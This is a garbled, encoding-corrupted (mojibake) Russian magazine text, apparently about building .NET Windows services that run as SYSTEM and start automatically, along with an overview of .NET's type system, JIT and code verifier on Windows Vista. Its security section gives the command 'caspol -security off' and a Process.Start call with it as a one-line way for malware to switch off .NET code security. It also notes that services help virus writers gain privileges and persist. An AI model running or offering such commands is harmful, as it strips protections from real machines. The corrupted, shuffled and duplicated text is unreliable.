{this.ProcessInstaller, this.ServiceInstaller}); //äîáàâëÿåì ïàðàìåòðû

}

#endregion

(1)

(2)



äî îòêðûòü ïðîåêò ñ ðàíåå ñîçäàííîé ñëóæáîé è
äîáàâèòü òóäà êëàññ èíñòàëëåð. Ñìåëî æìåì
Project Add CLass è âûáèðàåì Installer Class. Òóò
íà÷íåòñÿ ñàìîå èíòåðåñíîå: ïî óìîë÷àíèþ èíñ-
òàëëåð ïðîïèñûâàåòñÿ ìåòîäîì InitializeCom-
ponent(), íî â òàêîì ñëó÷àå ñëóæáà áóäåò çàðåãèñò-
ðèðîâàíà ñ ïðàâàìè ïîëüçîâàòåëÿ, à äëÿ àíòèâè-
ðóñà ýòîãî ìàëî, ïîýòîìó ïðèäåòñÿ âñå ïðîïèñû-
âàòü ðóêàìè. Â ñâÿçè ñ ýòèì íàì íàäî áóäåò îòê-
ðûòü èñõîäíäèê êîìïîíåíòà Installer è âíåñòè â ìå-
òîä InitializeComponent() êîððåêòèâû. Ïî óìîë÷à-
íèþ â ýòîì ìåòîäå íàïèñàíà îäíà ñòðîêà, ñîçäàþ-
ùàÿ êîìïîíåíò, à íàì íàäî íàñòðîèòü åãî âðó÷íóþ.
Äëÿ ðàáîòû ñ èíñòàëëåðîì èñïîëüçóþòñÿ ïðîñò-
ðàíñòâà èìåí System.ComponentModel, System.
Configuration.Install è System.ServiceProcess. Äà-
ëåå íóæíî ñîçäàòü äâà îáúåêòà — ProcessInstaller
è ServiceInstaller. ×åðåç íèõ ìû áóäåì ðàáîòàòü
ñ íàñòðîéêàìè. Ïåðâûì äåëîì ïðîïèøåì òî, ÷òî
ñëóæáà äîëæíà çàïóñêàòüñÿ ñ ïðàâàìè ñèñòåìû,
òàì æå ìîæíî ïîñòàâèòü ïàðîëü íà ñëóæáó è âðó÷-
íóþ óêàçàòü åå èìÿ. Çàìå÷ó, ÷òî ÷òîáû âî âðåìÿ
èíèöèàëèçàöèè ñëóæáû íå âîçíèêëî îøèáîê, íóæ-
íî ïðîïèñûâàòü âñå ïóòè ê êëàññàì, íà÷èíàÿ îò ðî-
äèòåëüñêîãî ïðîñòðàíñòâà èìåí. Âîò êàêîé êîä ïî-
ëó÷àåòñÿ (ñì. ëèñòèíã 2).

Êîä äîâîëüíî ïîíÿòåí: â íà÷àëå ñîçäàþòñÿ
äâà èíñòàëëåðà, äàëåå íàñòðàèâàþòñÿ èõ ïàðàìåò-
ðû, ïîñëå ýòîãî îíè çàíîñÿòñÿ â îáùèå ïàðàìåòðû
èíñòàëëåðà. Êñòàòè, ó ñèñòåìû íåò ïàðîëÿ, ïîýòî-
ìó ìû ïðèñâîèëè åìó çíà÷åíèå null. Åñòåñòâåííî,
íèêòî íå ñìîæåò àâòîðèçîâàòüñÿ ïîä ïîëüçîâàòå-
ëåì System, ïîñêîëüêó ýòî íå óðîâåíü ïîëüçîâàòå-
ëÿ, à íóëåâîé óðîâåíü. Òàêæå íóæíî âêëþ÷èòü
â ñëóæáó âîçìîæíîñòü ïðîòîêîëèðîâàíèÿ îøèáîê,
èñïîëüçóÿ êëàññ EventLog ïðîñòðàíñòâà èìåí
System.Diagnostics. Îñíîâíûì ìåòîäîì ýòîãî êëàñ-

ñà ÿâëÿåòñÿ ìåòîä WriteEntry(), îòïðàâëÿþùèé
äàííûå îá îøèáêàõ èëè óñïåõàõ â æóðíàë ñëóæá.
Äëÿ ðàáîòû ñ ëîãàìè ìû äîëæíû áóäåì âêëþ÷èòü
â êîä ñëóæáû ñëåäóþùåå:

ïðîòîêîëèðîâàíèå îîøèáîê
protected override void OnStart(string[]

args)

{

try

{

//òîò æå êîä

EventLog.WriteEntry("Process Start OK",

EventLogEntryType.SuccessAudit);

}

catch

{

EventLog.WriteEntry("error",

EventLogEntryType.Error);

}

Ñîîòâåòñòâåííî, òàêóþ æå êîíñòðóêöèþ íàäî áóäåò
âñòàâèòü â èíñòàëëåð. Òåïåðü çà âñåìè äåéñòâèÿìè
ñëóæáû ìîæíî íàáëþäàòü â æóðíàëå ñîáûòèé. Òàê
áóäåò ïðîùå çàáîòèòüñÿ î áåçîïàñíîñòè, äà è ïîëü-
çîâàòåëþ áóäåò ëåã÷å ñîîáùèòü îá îøèáêàõ. 

Ïîñëå âñåõ êîìïèëÿöèé è ïîäãîòîâîê íóæíî
çàéòè â êîíñîëü .NET (äëÿ ÕÐ) èëè îáû÷íóþ êîí-
ñîëü Windows Vista è çàðåãèñòðèðîâàòü ñëóæáó,
èñïîëüçóÿ êîìàíäó:

installutil HaServise.exe

Äàëåå, åñëè òû âñå ñêîìïèëèðîâàë ïðàâèëüíî, ïî-
ÿâèòñÿ íàäïèñü: 

The Commit phase completed successfully.

The transacted install has completed.

Òåïåðü, åñëè çàéòè â Windows Services Manager,
â ïàíåëè óïðàâëåíèÿ ìîæíî óâèäåòü íàøó ñëóæáó
ïîä èìåíåì HaService. Ïî óìîë÷àíèþ èíñòàëëåð
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ïðîïèñûâàåò åå â àâòîçàãðóçêó ñ êëþ÷îì «manual»,
òî åñòü àâòîìàòè÷åñêè îíà çàïóñêàòüñÿ íå áóäåò,
îäíàêî ýòî ìîæíî èñïðàâèòü îäíîé ñòðîêîé êîäà:

this.ServiceInstaller.StartType =

ServiceStartMode.Automatic;

Ïîñëå ýòîãî ñëóæáà áóäåò çàïóñêàòüñÿ àâòîìàòè÷åñ-
êè ïðè âõîäå â ñèñòåìó. Äëÿ ïîñëåäóþùåãî òåñòèðî-
âàíèÿ è êîíòðîëÿ ïðîèçâîäèòåëüíîñòè ñëóæáû ìîæ-
íî èñïîëüçîâàòü óòèëèòó perfmon, ïîçâîëÿþùóþ
ïîëíîñòüþ îòñëåæèâàòü åå ðàáîòó, çàïèñè â æóðíàë,
îøèáêè è òàê äàëåå. Äëÿ òîãî ÷òîáû ïîñìîòðåòü, êàê
.NET-ñëóæáà ðàáîòàåò ïî îïðåäåëåííîìó ïàðàìåò-
ðó, íóæíî äîáàâèòü ñ÷åò÷èê ïî ýòîìó ïàðàìåòðó,
â ðåçóëüòàòå ÷åãî ïðîãðàììà âûñòðîèò ãðàôèê ïðî-
èçâîäèòåëüíîñòè ñëóæáû. Íà ýòîì ïðèìåð çàêàí÷è-
âàåòñÿ, îäíàêî åñòü åùå ìàññà âåùåé, êîòîðûå àíòè-
âèðóñíûå êîìïàíèè è õàêåðû ïðîñòî òàê íå îñòàâÿò.

àñïåêòû ááåçîïàñíîñòè ññëóæá. Âîçìîæíî,
ó òåõ, êòî óæå ðàçîáðàëñÿ ñ ïðèíöèïàìè ïðîãðàì-
ìèðîâàíèÿ ñëóæá, ïîÿâèëñÿ âîïðîñ: «À áåçîïàñíî
ëè ýòî»? Â äàííûé ìîìåíò ýòî ÿâëÿåòñÿ ñàìîé àêòó-

àëüíîé ïðîáëåìîé. Äëÿ íà÷àëà ñêàæó, ÷òî .NET-ñåð-
âèñ caspol äîñòóïåí ëþáîìó ïîëüçîâàòåëþ, òàê èëè
èíà÷å ïîïàâøåìó â ñèñòåìó. Ñëåäîâàòåëüíî, õàêå-
ðó íè÷åãî íå ñòîèò âûïîëíèòü êîìàíäó:

caspol -security off 

Âñÿ áåçîïàñíîñòü ðàçîì ðóõíåò. Äëÿ âèðóñìåéêåðîâ
îòêðûâàåòñÿ åùå áîëüøå âîçìîæíîñòåé, ïîñêîëüêó
èíñòàëëåð íàõîäèòñÿ â îäíîì ôàéëå ñ ñàìîé ñëóæ-
áîé. Èñïîëüçóÿ êîä èç ïðèìåðà, ìîæíî ïðîéòè íà
íóëåâîå êîëüöî è ïîëó÷èòü ïðèâèëåãèè ñèñòåìû,
à ìîæíî ïåðåäâèãàòüñÿ ïî ðååñòðó, êàæäûé ðàç èç-
ìåíÿÿ ïàðàìåòðû àâòîçàãðóçêè âèðóñà — ïîéìàòü
òàêèå âèðóñû áóäåò ãîðàçäî ñëîæíåå. Íà ñâîèõ êîí-
ôåðåíöèÿõ ïî áåçîïàñíîñòè ïðîãðàììèñòû èç Ìàé-
êðîñîôò ãîâîðÿò, ÷òî òåïåðü ïîëüçîâàòåëè äåéñòâè-
òåëüíî ïîä çàùèòîé, íî ãäå îíà? Ïðè óñòàíîâêå âñå
ïàðàìåòðû áåçîïàñíîñòè íå íàñòðîåíû äîëæíûì
îáðàçîì, íà ðÿäîâîì êîìïüþòåðå âèðóñ ìîæåò
îáîéòè çàùèòó îäíîé ñòðîêîé êîäà:

Process.Start("caspol -security off");

Ãëàâíûì â îáåñïå÷åíèè áåçîïàñíîñòè ÿâëÿåòñÿ
ãðàìîòíàÿ íàñòðîéêà âñåé ñèñòåìû âûïîëíåíèÿ
êîäà Windows Vist'û, ïîñêîëüêó, íàñòðîèâ áîëü-
øîå êîëè÷åñòâî íàâîðîòîâ, â Ìàéêðîñîôò çàáû-
ëè î òîì, ÷òî â êàæäîé èç ýòèõ íàäñòðîåê òàèòñÿ
ìíîæåñòâî íåäî÷åòîâ. Â ýòîì ïëàíå ëó÷øå âñåãî
ðàáîòàþò ïðîãðàììèñòû èç ïðîåêòà OpenBSD
ñ äåâèçîì «Secuity by Default» (àíãë. «áåçîïàñ-
íîñòü ïî óìîë÷àíèþ»). Â òàêîì ïðîåêòå íè îäíà
ñòðîêà êîäà íå ïðîõîäèò â ðåëèç áåç òùàòåëüíîãî
òåñòèðîâàíèÿ è ïðîâåðêè. Ïîñêîëüêó .NET ïîêà
òîëüêî ðàçâèâàåòñÿ, íåäî÷åòîâ â íåì åùå î÷åíü
ìíîãî. Ñâÿçàííî ýòî, â òîì ÷èñëå, ñ òåì, ÷òî êîì-
ïàíèÿ Ìàéêðîñîôò ñòàðàåòñÿ ñäåëàòü âñå è ñðàçó.
Âîçìîæíî êîãäà-íèáóäü, ïîñëå âûõîäà î÷åðåäíî-
ãî ñåðâèñ-ïàêà WIndows Vist'û è íîâîãî .NET
Framework'a âñÿ ïëàòôîðìà áóäåò ðàáîòàòü èäå-
àëüíî, õîòÿ äî ýòîãî åùå íàäî äîæèòü. Íî íå âñå
òàê ïëà÷åâíî, êàê êàæåòñÿ íà ïåðâûé âçãëÿä, ïî-
òîìó ÷òî ñåé÷àñ åñòü îãðîìíîå êîëè÷åñòâî ìåòî-
äîâ áîðüáû ñî âñåìè íåäî÷åòàìè, íàïðèìåð, àâ-
òîìàòè÷åñêèå ñíèôôåðû ïåðåïîëíåíèé áóôåðà.
Òàêæå ìîæíî îãðàíè÷èâàòü êóñêè êîäà ïðè ïîìî-
ùè äîìåíîâ ïðèëîæåíèé è ïðèíöèïàëîâ. Åùå
ìîæíî ðàçäåëÿòü âåñü âûïîëíÿåìûé êîä íà ðàç-
ëè÷íûå ãðóïïû è óñòàíàâëèâàòü ïîëíîìî÷èÿ äëÿ
êàæäîé èç íèõ.

the eend. Â ýòîé ñòàòüå ìû ðàññìîòðåëè ïðèí-
öèïû ðàáîòû è ñîçäàíèÿ ñëóæá äëÿ Windows Vista,
êîñíóëèñü âîïðîñîâ áåçîïàñíîñòè ñëóæá, êîíòðî-
ëÿ ïðîèçâîäèòåëüíîñòè. Áåññïîðíî, Windows-
ñëóæáà ÿâëÿåòñÿ ðåøåíèåì ìíîãèõ çàäà÷ â ñåð-
âèñíîì ïðîãðàììèðîâàíèè, íî, ñ äðóãîé ñòîðîíû,
íå ñòîèò íàãðîìîæäàòü ìíîãî ñëóæá ðàäè îäíîãî
îáúåêòà, ïîñêîëüêó èäåàëüíîé ðåàëèçàöèåé ñëóæá
ÿâëÿþòñÿ Unix'îâûå äåìîíû, à Windows-ñëóæáû
äàëåêè îò ñîâåðøåíñòâà. Ñ òî÷êè çðåíèÿ âèðóñ-
ìåéêåðîâ ñëóæáû êàê áûëè, òàê è îñòàþòñÿ íàäåæ-
íûì ñðåäñòâîì äëÿ íàïèñàíèÿ âèðóñîâ, îäíàêî
ïðè ãðàìîòíîé íàñòðîéêå î÷åíü ìíîãèå óÿçâèìîñ-
òè ìîæíî çàêðûòü, ïîñêîëüêó äàæå åñëè óñòàíî-
âèòü îãðàíè÷åíèÿ ïî ïðàâàì äîñòóïà íà êîìàíäó
caspol, õàêåð ñìîæåò âíåäðèòü êîä ÷åðåç Just-in-
Time êîìïèëÿöèþ è ïîëó÷èòü íóæíûå ïðàâà â ñèñ-
òåìå äëÿ âûïîëíåíèÿ íåîáõîäèìûõ êîìàíä. Íåñ-
ìîòðÿ íà âñå ýòî, âûõîä Windows Vist'û íåóìîëèìî
ïðèáëèæàåòñÿ, è íà÷èíàåòñÿ íîâàÿ ýðà â ñîðåâíî-
âàíèè ìåæäó õàêåðàìè è àíòèâèðóñíûìè êîìïàíè-
ÿìè. Òàêæå ìîãó äàòü ñîâåò âñåì, êòî ðåøèò çà-
íÿòüñÿ áåçîïàñíîñòüþ â Windows Vist'e: áåçîïàñ-
íîñòü íå äîëæíà áûòü îòêëþ÷åíà ïî óìîë÷àíèþ
(îáû÷íî èìåííî ýòî ïðèâîäèò ê âçëîìó ñèñòåìû),
êîíöåïöèþ áåçîïàñíîñòè íàäî ïðîäóìûâàòü î÷åíü
ãëóáîêî è îðèåíòèðîâàòüñÿ íà ëîçóíã «Security by
Default», êàê ýòî äåëàþò ðàçðàáîò÷èêè OpenBSD.
Çà ñèì çàêàí÷èâàþ, åñëè åñòü êàêèå-íèáóäü âîï-
ðîñû — ïèøè

http://msdn2.microsoft.com/en-uus/library/
system.serviceprocess.aspx
ñîâåòóþ ïî÷èòàòü msdn ïðî ïðîñòðàíñòâî 
èìåí system.serviceprocess

ÍÀ ÊÎÌÏÀÊÒ-ÄÈÑÊÅ ÒÛ ÍÀÉÄÅØÜ ÈÑÕÎÄÍÈÊÈ Ê ÑËÓÆÁÅ,
ÈÍÑÒÀËËÅÐÓ È ÑÁÎÐÊÅ

Áåçîïàñíîñòü ññëóæá
â Windows VVista
Ïîìèìî ñàìîé ïîïóëÿð-
íîé 32-áèòíîé âåðñèè,
Microsoft ãîòîâèò ïîëíî-
öåííûé ðåëèç 64-áèòíîé
Vist'û, íàçâàòü êîòîðóþ
ïîëíîöåííîé ÿ íå ìîãó.

Îäíî èç îñíîâíûõ
ïðåèìóùåñòâ èñïîëüçî-
âàíèÿ x64-áèòíûõ âåð-
ñèé Windows Vista —
èíîé ïîäõîä ê âîïðîñó
àíòèâèðóñíîé áåçîïàñ-

íîñòè íà óðîâíå ñèñòåì-
íîãî ÿäðà ïî ñðàâíåíèþ
ñ 32-áèòíûìè ñåñòðàìè.
Ðå÷ü èäåò î òåõíîëîãèè
PatchGuard, êîòîðàÿ
çàïðåùàåò íåàâòîðèçî-
âàííîìó ÏÎ èçìåíÿòü
ÿäðî Windows. Ýòî âïåð-
âûå èñïîëüçóåòñÿ â ñå-
ìåéñòâå ÎÑ Windows.
Ïðè êàæäîì ñòàðòå ñèñ-
òåìà çàãðóæàåò ñèñòåì-
íûå ôàéëû ñ ðàçëè÷íû-
ìè ñìåùåíèÿìè (îò 1 äî

256), ïî ñðàâíåíèþ
ñ ïðåäûäóùèìè âåðñèÿ-
ìè Windows, â êîòîðûõ
ôàéëû çàãðóæàëèñü
ñ îäèíàêîâûì ñìåùå-
íèåì. Áëàãîäàðÿ ýòîìó
àáñîëþòíîå  áîëüøèí-
ñòâî óäàëåííûõ àòàê
íåýôôåêòèâíû íà
x64-based âåðñèÿõ
Vist'û, îäíàêî âîçìîæ-
íû çíà÷èòåëüíûå ïðîá-
ëåìû ñ èñïîëüçîâàíèåì
äðàéâåðîâ.

ÈÃÎÐÜ
ÅÐÌÀÊÎÂ

.NET ÏÐÎÃÐÀÌÌÈÑÒ
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ÀÐÕÈÒÅÊÒÓÐÀ ÑÈÑÒÅÌÛ ÂÛÏÎËÍÅÍÈß 
ÏÐÎÃÐÀÌÌ Â WINDOWS VISTA
ÓÆÅ Î×ÅÍÜ ÑÊÎÐÎ ÍÀÑÒÓÏÈÒ ßÍÂÀÐÜ, À ÝÒÎ ÇÍÀ×ÈÒ, ×ÒÎ WINDOWS VISTA ÂÛÉÄÅÒ
Â ÌÀÑÑÛ. ÌÍÎÃÈÅ ÕÀÊÅÐÛ ÓÆÅ ÂÇßËÈ ÍÀ ÂÎÎÐÓÆÅÍÈÅ ÏËÀÒÔÎÐÌÓ .NET
ÄËß ÐÀÇÐÀÁÎÒÊÈ ÂÈÐÓÑÎÂ, ÀÍÒÈÂÈÐÓÑÍÛÅ ÊÎÌÏÀÍÈÈ ÒÎÆÅ ÂÑß×ÅÑÊÈ ÈÇÓ×ÀÞÒ ÅÅ
ÍÀ ÏÐÅÄÌÅÒ ÊÐÈÒÈ×ÅÑÊÈÕ ÓßÇÂÈÌÎÑÒÅÉ, ÄÀÁÛ ÎÁÅÑÏÅ×ÈÒÜ ÁÅÇÎÏÀÑÍÎÑÒÜ
ÏÎËÜÇÎÂÀÒÅËßÌ

Àíäðåé Äðîçäîâ àêà Sulverus 
offbit security team (sulverus@mail.ru)

ðàçâåäêà
áîåì

Ñïåöèàëèñòû èç Ìàéêðîñîôò ïîñòàðàëèñü çàêðûòü
âñå ëàçåéêè äëÿ õàêåðîâ è ïðåäîòâðàòèòü âñåâîçìîæ-
íûå àòàêè. Äåðæà ýòîò íîìåð CÏÅÖà â ðóêàõ, òû, íà-
âåðíîå, òîæå æàæäåøü íàéòè êàêóþ-òî íîâóþ äûðêó â
Windows Vist'e, îäíàêî íåëüçÿ íàéòè áðåøü â ñèñòåìå,
íå èìåÿ ïîíÿòèÿ î òîì, êàê îíà ðàáîòàåò. Ïîñêîëüêó
ñèñòåìà âûïîëíåíèÿ ïðîãðàìì â .NET è Windows Vista
íàïðÿìóþ ñâÿçàíû, ïîíèìàíèå àðõèòåêòóðû .NET
êðàéíå âàæíî. Ïðèñòóïèì ê åå èçó÷åíèþ.

õîðîøî ççàáûòîå ññòàðîå. Ïîïûòêè ñîçäàòü ïî-
äîáíóþ ñèñòåìó ïðåäïðèíèìàëèñü äîâîëüíî äàâíî:
åùå â 1978 ãîäó áûë íåêèé ïðîåêò, îòäàëåííî íàïî-

ìèíàþùèé .NET. Åãî öåëüþ ÿâëÿëîñü ñîçäàíèå íåêîé
âèðòóàëüíîé ìàøèíû, ïîçâîëÿþùåé çàïóñêàòü ïðè-
ëîæåíèÿ êàê íà ìîùíûõ êîìïüþòåðàõ â Êàëèôîð-
íèéñêîì óíèâåðñèòåòå, òàê è íà îáû÷íûõ êîìïüþòå-
ðàõ ñòóäåíòîâ. Â îñíîâå ýòîé ñèñòåìû ëåæàë íåêèé
ÿçûê p-code, ïîäîáíûé Common Intermediate
Language â ñîâðåìåííîì .NET'e. Îäíàêî îíà áûëà
íåñîâåðøåííà èç-çà ñèñòåìû âûïîëíåíèÿ ïðîãðàìì.

Äàëåå, â íà÷àëå 90-õ ïîÿâèëàñü åùå îäíà òåõíîëî-
ãèÿ, ïîäîáíàÿ .NET. Íà ýòîò ðàç îíà áûëà áîëåå
ïîõîæà íà .NET ñâîåé ñèñòåìîé âûïîëíåíèÿ ïðîã-
ðàìì. Áëàãîäàðÿ ýòîé òåõíîëîãèè ïîÿâëÿëàñü âîç-
ìîæíîñòü çàïóñêàòü ïðèëîæåíèÿ íà ðàçíûõ òèïàõ
ïðîöåññîðîâ, òî åñòü âî âðåìÿ óñòàíîâêè ñîôòà
â ñèñòåìó ïðîèñõîäèëà «äîâîäêà» ïðîãðàììû
ê êîíêðåòíîé ïëàòôîðìå. Ïîñëå âûõîäà ýòîé òåõ-



äîêóìåíòàõ îíà íàçûâàåòñÿ ÿäðîì ñèñòåìû òèïîâ.
Äàâàé ðàññìîòðèì åãî ïîäðîáíåå.

â ííåäðàõ ÿÿäðà. Óñòðîéñòâî ÿäðà äîâîëüíî çà-
ìûñëîâàòîå. Âñå òèïû äåëÿòñÿ íà äâå ãðóïïû äàí-
íûõ, à èìåííî: value types è reference types. Òàêîå
õèòðîå ðàçäåëåíèå îáîñíîâûâàåòñÿ ñòðåìëåíèåì
ðàçðàáîò÷èêîâ ïëàòôîðìû ê îïòèìèçàöèè êîäà.
Value types ÿâëÿþòñÿ âñòðîåííûìè òèïàìè, îíè ïî-
äîáíû êëþ÷åâûì ñëîâàì â C++, íàïðèìåð int, bool,
char, float. Â .NET ÷åòêî ðàçäåëÿþòñÿ 32- è 64-áèò-
íûå òèïû, íàïðèìåð äëÿ öåëûõ ÷èñåë è äëÿ ÷èñåë
ñ ïëàâàþùåé òî÷êîé òèïû íàçûâàþòñÿ int32,int64,
float32,float64. Ñòðóêòóðû òîæå îòíîñÿòñÿ ê value
types. Äèíàìè÷åñêè ñîçäàííûå îáúåêòû õðàíÿòñÿ
â äèíàìè÷åñêîé (óïðàâëÿåìîé) ïàìÿòè, îíà æå
managed heap. Ññûëêè íà îáúåêòû õðàíÿòñÿ â ÿ÷åé-
êàõ, ê êîòîðûì îáðàùàþòñÿ Reference types. Â ýòîì
ñëó÷àå ìîæíî ïðîâåñòè àíàëîãèþ ñ Win32/C, êîãäà
ãëîáàëüíûå ïåðåìåííûå õðàíèëèñü â ñòàòè÷åñêîé
ïàìÿòè, à ëîêàëüíûå — â ñòåêå.

Â ñîçäàííîì îáúåêòå õðàíèòñÿ èíôîðìàöèÿ
î òèïàõ, êîòîðûå åãî èñïîëüçóþò, ïîýòîìó òàêèå
òèïû íàçûâàþòñÿ ñàìîîïèñûâàþùèìè. Ñðåäè ñî-
ìîîïèñûâàþùèõ òèïîâ åñòü è âñòðîåííûå: îäèí èç
ñàìûõ ãëàâíûõ òèïîâ .NET — System.Object è òèï
äëÿ ñòðîêîâûõ äàííûõ System.String. 

Äëÿ òîãî ÷òîáû áûëî ïðîùå ïîíÿòü — ê ñàìî-
îïèñûâàþùèìñÿ òèïàì îòíîñÿòñÿ êëàññû. Êëàññû
ìîãóò ñîñòîÿòü èç ïîëåé, ìåòîäîâ, ñâîéñòâ è ñîáû-
òèé (ê ñîáûòèÿì, ñîîòâåòñòâåííî, ïðèìûêàþò äåëå-
ãàòû). Òàêæå ê ñàìîîïèñûâàþùèìñÿ òèïàì îòíî-
ñÿòñÿ ìàññèâû, çà íèõ îòâå÷àåò êëàññ System.Array.
Âñÿ èåðàðõèÿ òèïîâ âèäíà íà ðèñóíêå 1. Ñ êîäîì ðà-
çîáðàëèñü, òåïåðü ïåðåéäåì ê ñàìîìó èíòåðåñíî-
ìó — ìîäåëè âûïîëíåíèÿ ïðîãðàìì.

ñèñòåìà ââûïîëíåíèÿ êêîäà. Ìàéêðîñîôò ââå-
ëà òàêîå èíòåðåñíîå ïîíÿòèå, êàê Îáùàÿ Èíôðàñò-
ðóêòóðà ßçûêîâ — Common Language Infrastructure
(CLI, íå ïóòàòü ñ CIL). Èñïîëüçóÿ ýòó èíôðàñòðóêòó-
ðó, ìîæíî íàïèñàòü ñâîé êîìïèëÿòîð è ñâîþ ñèñòå-

ìó âûïîëíåíèÿ. Òàêèì îáðàçîì, êîìïàíèÿ Ìàéêðî-
ñîôò ñîçäàëà åùå îäíó CLI ïîä FreeBSD. 

Êðîìå òîãî, âî âðåìÿ ðàáîòû ïðîãðàììû êóñêè
êîäà ìîãóò äîêîìïèëèðîâàòüñÿ â íåå ïðè íåîáõîäè-
ìîñòè, ýòî íàçûâàåòñÿ Just-in-time (JIT) Assemblie.
Ýòî íóæíî äëÿ îïòèìèçàöèè êîäà, óìåíüøåíèÿ íàã-
ðóçêè íà ïàìÿòü è áîëåå óäîáíîãî è êîððåêòíîãî îá-
íîâëåíèÿ ïðîãðàìì. Êîãäà êîìïèëèðóåòñÿ ïîäîáíûé
êóñîê êîäà, îí ïîìåùàåòñÿ â ñïåöèàëüíûé êîíòåé-
íåð äëÿ JIT-êîìïèëÿöèè (â äîêóìåíòàöèè îò Ìàéêðî-
ñîôò ýòîò êîíòåéíåð íàçûâàåòñÿ «êýøåì ñáîðîê»).

Îäíîé èç ñàìûõ èíòåðåñíûõ äëÿ õàêåðîâ
íàäñòðîåê â ñèñòåìå âûïîëíåíèÿ êîäà ÿâëÿåòñÿ
ñáîðùèê ìóñîðíûõ èíñòðóêöèé. Âñå âðåìÿ ðàáîòû
ïðîãðàììû îí ñëåäèò çà âñåì êîëè÷åñòâîì èíñòðóê-
öèé, ññûëîê, ìåòîäîâ, äåëåãàòîâ, ïåðåìåííûõ. Îñ-
íîâíàÿ ðàáîòà ñáîðùèêà çàêëþ÷àåòñÿ â îñâîáîæ-
äåíèè ïàìÿòè îò íåíóæíîãî êîäà, ñîçäàííûõ îáú-
åêòîâ è òîìó ïîäîáíûì. Òàêæå îí ñîçäàåò ñâîåîá-
ðàçíóþ äåôðàãìåíòàöèþ â äèíàìè÷åñêîé ïàìÿòè,
÷òîáû îáåñïå÷èòü íàèáîëåå áûñòðóþ ðàáîòó ïðè-
ëîæåíèÿ. Áëàãîäàðÿ ýòîìó ñáîðùèêó âñå ïðåäûäó-
ùèå ëàçåéêè äëÿ õàêåðîâ çàêðûòû, à îøèáêè óòå÷-
êè ïàìÿòè èëè äîñðî÷íîãî îñâîáîæäåíèÿ ïàìÿòè
òåïåðü íåâîçìîæíû ïî îïðåäåëåíèþ. Ïðàâäà, ïðè
íàëè÷èè êðèòè÷åñêîé óÿçâèìîñòè â ñèñòåìå óï-
ðàâëåíèÿ ïàìÿòüþ ñ ñèñòåìîé ìîæíî òâîðèòü âñå
÷òî óãîäíî, à ñëåäîâàòåëüíî è ñáîðùèê ìóñîðà áó-
äåò ñàìûì ëàêîìûì êóñî÷êîì äëÿ õàêåðà è ñàìûì
ãëàâíûì îáúåêòîì èññëåäîâàíèÿ. 

Êîíå÷íî æå, íå âñå òàê ëåãêî, âåäü äëÿ òîãî,
÷òîáû âêëèíèòüñÿ è çàâëàäåòü ÿäðîì, õàêåðàì
ïðèäåòñÿ èçðÿäíî ïîïîòåòü, ïîñêîëüêó â Ìàéêðî-
ñîôò ïðåäóñìîòðåëè ìíîãîå, ñäåëàâ åùå è ñâîå-
îáðàçíîãî âûøèáàëó äëÿ âðåäíîãî êîäà. 

çíàêîìñòâî ññ âûøèáàëîé. Ïîä ñëîâîì «âû-
øèáàëà» ÿ ïîäðàçóìåâàë âåðèôèêàòîð êîäà. Ýòî
ïðàêòè÷åñêè ãîòîâûé àíòèâèðóñíûé ñêàíåð, êîòî-
ðûé êîìïëåêñíî èññëåäóåò è ïðîâåðÿåò âåñü âûïîë-
íÿåìûé êîä âäîëü è ïîïåðåê. Êàê òîëüêî êîä âõîäèò
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Òèïû-çíà÷åíèÿ

Ññûëî÷íûå òèïû

Ñàìîîïèñûâàþùèå òèïû

Êëàññû

Âñòðîåííûå òèïû

Ìàññèâû

Öåëûå Ñ ïëàâàþùåé çàïÿòîé

Èíòåðôåéñû

âèðòóàëüíîé ìàøèíû, ïîçâîëÿþùåé çàïóñêàòü ïðè-
ëîæåíèÿ êàê íà ìîùíûõ êîìïüþòåðàõ â Êàëèôîð-
íèéñêîì óíèâåðñèòåòå, òàê è íà îáû÷íûõ êîìïüþòå-
ðàõ ñòóäåíòîâ. Â îñíîâå ýòîé ñèñòåìû ëåæàë íåêèé
ÿçûê p-code, ïîäîáíûé Common Intermediate
Language â ñîâðåìåííîì .NET'e. Îäíàêî îíà áûëà
íåñîâåðøåííà èç-çà ñèñòåìû âûïîëíåíèÿ ïðîãðàìì.
Äàëåå, â íà÷àëå 90-õ ïîÿâèëàñü åùå îäíà òåõíîëî-
ãèÿ, ïîäîáíàÿ .NET. Íà ýòîò ðàç îíà áûëà áîëåå ïî-
õîæà íà .NET ñâîåé ñèñòåìîé âûïîëíåíèÿ ïðîã-
ðàìì. Áëàãîäàðÿ ýòîé òåõíîëîãèè ïîÿâëÿëàñü âîç-
ìîæíîñòü çàïóñêàòü ïðèëîæåíèÿ íà ðàçíûõ òèïàõ
ïðîöåññîðîâ, òî åñòü âî âðåìÿ óñòàíîâêè ñîôòà
â ñèñòåìó ïðîèñõîäèëà «äîâîäêà» ïðîãðàììû
ê êîíêðåòíîé ïëàòôîðìå. Ïîñëå âûõîäà ýòîé òåõ-
íîëîãèè êîìïüþòåðíàÿ èíäóñòðèÿ ñòàëà ðàçâè-
âàòüñÿ íàìíîãî áûñòðåå, è â 1995 ãîäó ïîÿâèëàñü

Ñèñòåìà òèïîâ



â êîìïèëÿòîð (èìååòñÿ ââèäó Just-In-Time), îí ñðàçó
æå ïîäâåðãàåòñÿ ñàìûì çâåðñêèì ïðîâåðêàì ñî
ñòîðîíû âåðèôèêàòîðà. Â ïðîöåññå äîêîìïèëèðî-
âàíèÿ è âåðèôèêàöèè êîäà âñå äåëèòñÿ íà 4 ãðóïïû:

— VERIFIABLE CODE — ÊÎÄ, ÁÅÇÎÏÀÑ-

ÍÎÑÒÜ ÊÎÒÎÐÎÃÎ Â ÄÀÍÍÛÉ ÌÎÌÅÍÒ,

ÏÐÎÂÅÐßÅÒÑß ÑÈÑÒÅÌÎÉ.

— ILLEGAL CODE — ÊÎÄ, ÊÎÒÎÐÛÉ ÏÎ ÊÀ-

ÊÈÌ-ÒÎ ÏÐÈ×ÈÍÀÌ ÍÅ ÁÛË ÏÐÎÏÓÙÅÍ

Â ÒÐÀÍÑËßÒÎÐ.

— LEGAL CODE — ÊÎÄ, ÄÎÏÓÙÅÍÍÛÉ

Â ÑÈÑÒÅÌÓ, ÍÎ, ÂÎÇÌÎÆÍÎ, ÑÎÄÅÐÆÀ-

ÙÈÉ ÊÀÊÈÅ-ËÈÁÎ ÎØÈÁÊÈ ÈËÈ ÄÀÆÅ

ÈÍÎÐÎÄÍÛÅ ÊÓÑÊÈ ÊÎÄÀ (ÍÀÏÐÈÌÅÐ

ÏÐÈ ÝÊÑÏËÎÉÒÈÍÃÅ).

— SAFE CODE — 100% ÁÅÇÎÏÀÑÍÛÉ ÊÎÄ

